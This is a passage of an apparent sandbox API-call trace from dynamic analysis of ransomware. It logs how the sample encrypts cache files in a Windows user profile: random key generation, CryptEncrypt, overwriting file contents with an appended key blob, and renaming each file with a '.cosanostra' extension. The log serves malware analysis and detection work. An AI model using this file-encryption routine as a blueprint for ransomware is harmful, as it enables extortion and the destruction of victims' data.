HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc.cosanostra")) returned 1 [0102.434] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f080 | out: pbBuffer=0x251f080) returned 1 [0102.434] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f078*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f078*=0x30) returned 1 [0102.434] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.435] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 151 [0102.435] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch=".txt") returned 0x0 [0102.441] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.441] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f03c*=0x6e3, lpOverlapped=0x0) returned 1 [0102.441] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.441] WriteFile (in: hFile=0x160, lpBuffer=0x251f07c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x251f07c*, lpNumberOfBytesWritten=0x251f03c*=0x4, lpOverlapped=0x0) returned 1 [0102.441] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f03c*=0x30, lpOverlapped=0x0) returned 1 [0102.441] CloseHandle (hObject=0x160) returned 1 [0102.441] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF.cosanostra") returned 162 [0102.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf.cosanostra")) returned 1 [0102.443] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f080 | out: pbBuffer=0x251f080) returned 1 [0102.443] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f078*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f078*=0x30) returned 1 [0102.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.444] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 151 [0102.444] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch=".txt") returned 0x0 [0102.449] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.449] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f03c*=0x6e3, lpOverlapped=0x0) returned 1 [0102.449] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.450] WriteFile (in: hFile=0x160, lpBuffer=0x251f07c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x251f07c*, lpNumberOfBytesWritten=0x251f03c*=0x4, lpOverlapped=0x0) returned 1 [0102.450] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f03c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f03c*=0x30, lpOverlapped=0x0) returned 1 [0102.450] CloseHandle (hObject=0x160) returned 1 [0102.450] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873.cosanostra") returned 162 [0102.450] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873.cosanostra")) returned 1 [0102.451] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f078 | out: pbBuffer=0x251f078) returned 1 [0102.451] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f070*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f070*=0x30) returned 1 [0102.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.452] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 151 [0102.452] StrStrW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch=".txt") returned 0x0 [0102.465] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffa13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.465] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x5ed, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f034*=0x5ed, lpOverlapped=0x0) returned 1 [0102.466] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.466] WriteFile (in: hFile=0x160, lpBuffer=0x251f074*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x251f074*, lpNumberOfBytesWritten=0x251f034*=0x4, lpOverlapped=0x0) returned 1 [0102.466] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f034*=0x30, lpOverlapped=0x0) returned 1 [0102.466] CloseHandle (hObject=0x160) returned 1 [0102.466] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150.cosanostra") returned 162 [0102.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150.cosanostra")) returned 1 [0102.571] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f078 | out: pbBuffer=0x251f078) returned 1 [0102.571] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f070*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f070*=0x30) returned 1 [0102.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.572] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 151 [0102.572] StrStrW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch=".txt") returned 0x0 [0102.592] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffa55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.592] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x5ab, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f034*=0x5ab, lpOverlapped=0x0) returned 1 [0102.592] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.592] WriteFile (in: hFile=0x160, lpBuffer=0x251f074*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x251f074*, lpNumberOfBytesWritten=0x251f034*=0x4, lpOverlapped=0x0) returned 1 [0102.592] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f034, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f034*=0x30, lpOverlapped=0x0) returned 1 [0102.593] CloseHandle (hObject=0x160) returned 1 [0102.593] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6.cosanostra") returned 162 [0102.593] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6.cosanostra")) returned 1 [0102.595] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f070 | out: pbBuffer=0x251f070) returned 1 [0102.595] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f068*=0x30) returned 1 [0102.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.596] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned 118 [0102.596] StrStrW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".txt") returned 0x0 [0102.604] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.604] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f02c*=0x2800, lpOverlapped=0x0) returned 1 [0102.605] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.605] WriteFile (in: hFile=0x160, lpBuffer=0x251f06c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x251f06c*, lpNumberOfBytesWritten=0x251f02c*=0x4, lpOverlapped=0x0) returned 1 [0102.613] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f02c*=0x30, lpOverlapped=0x0) returned 1 [0102.613] CloseHandle (hObject=0x160) returned 1 [0102.613] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.cosanostra") returned 129 [0102.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015.cosanostra")) returned 1 [0102.614] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f070 | out: pbBuffer=0x251f070) returned 1 [0102.614] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f068*=0x30) returned 1 [0102.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.614] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 151 [0102.614] StrStrW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch=".txt") returned 0x0 [0102.616] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.616] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f02c*=0x6e3, lpOverlapped=0x0) returned 1 [0102.619] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.620] WriteFile (in: hFile=0x160, lpBuffer=0x251f06c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x251f06c*, lpNumberOfBytesWritten=0x251f02c*=0x4, lpOverlapped=0x0) returned 1 [0102.620] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f02c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f02c*=0x30, lpOverlapped=0x0) returned 1 [0102.620] CloseHandle (hObject=0x160) returned 1 [0102.620] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F.cosanostra") returned 162 [0102.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f.cosanostra")) returned 1 [0102.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f068 | out: pbBuffer=0x251f068) returned 1 [0102.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f060*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f060*=0x30) returned 1 [0102.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.631] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 151 [0102.631] StrStrW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch=".txt") returned 0x0 [0102.670] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffa92, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.670] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x56e, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f024*=0x56e, lpOverlapped=0x0) returned 1 [0102.670] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.670] WriteFile (in: hFile=0x160, lpBuffer=0x251f064*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x251f064*, lpNumberOfBytesWritten=0x251f024*=0x4, lpOverlapped=0x0) returned 1 [0102.670] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f024*=0x30, lpOverlapped=0x0) returned 1 [0102.670] CloseHandle (hObject=0x160) returned 1 [0102.670] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56.cosanostra") returned 162 [0102.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56.cosanostra")) returned 1 [0102.672] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f068 | out: pbBuffer=0x251f068) returned 1 [0102.672] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, 